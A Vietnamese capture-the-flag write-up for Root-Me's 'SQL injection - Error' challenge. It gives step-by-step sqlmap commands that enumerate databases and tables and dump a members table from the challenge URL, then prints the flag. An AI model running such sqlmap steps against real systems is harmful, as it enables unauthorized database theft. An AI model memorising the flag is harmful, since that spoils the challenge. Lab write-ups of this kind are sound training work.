SQL injection - Error¶
Estimated time to read: 3 minutes
May 03, 2023
Tài nguyên và link challenge¶
Tài nguyên của challenge này tại https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Error
Link challenge này tại http://challenge01.root-me.org/web-serveur/ch34/
Tổng quan¶
Trong challenge này, mục tiêu của ta là lấy mật khẩu admin
Kịch bản tấn công¶
Bước 1: Kiểm tra website¶
Challenge này cung cấp cho ta 2 website: 1 cho việc login tài khoản, 1 cho việc xem các bản record (trang Contents)
Sau một số phép kiểm tra, ta thấy được trang này bị lỗi ở HTTP GET METHOD trang Contents
Bước 2: Khai thác website¶
Rồi, bài này ta dùng sqlmap[^1] thôi ::) Dùng python sqlmap.py -u "http://challenge01.root-me.org/web-serveur/ch34/?action=contents&order=ASC" --dbs
để tìm số lượng database truy cập được.
Well, database public là thứ ta mong chờ.
Tiếp theo, ta lấy các table trên database public bằng python sqlmap.py -u "http://challenge01.root-me.org/web-serveur/ch34/?action=contents&order=ASC" -D public --tables
Ta thấy được table m3mbr35t4bl3
có vẻ đáng nghi. Tiếp tục ta dump dữ liệu trong table này bằng python sqlmap.py -u "http://challenge01.root-me.org/web-serveur/ch34/?action=contents&order=ASC" -D public -T m3mbr35t4bl3 --dump
Well, gì đây? Password đây rồi :v
Chậm lại và suy nghĩ
Còn cách khai thác lỗi nào khác ngoại trừ việc dùng sqlmap không?
Giải quyết chậm lại suy nghĩ
Dựa vào thông báo lỗi được xuất ra màn hình với query thử nghiệm ở hình 1 ta có thể khai thác theo dạng sql blind.
Flag
1a2BdKT5DIx3qxQN3UaC
[^1] Xem hướng dẫn cài đặt sqlmap tại https://sqlmap.org/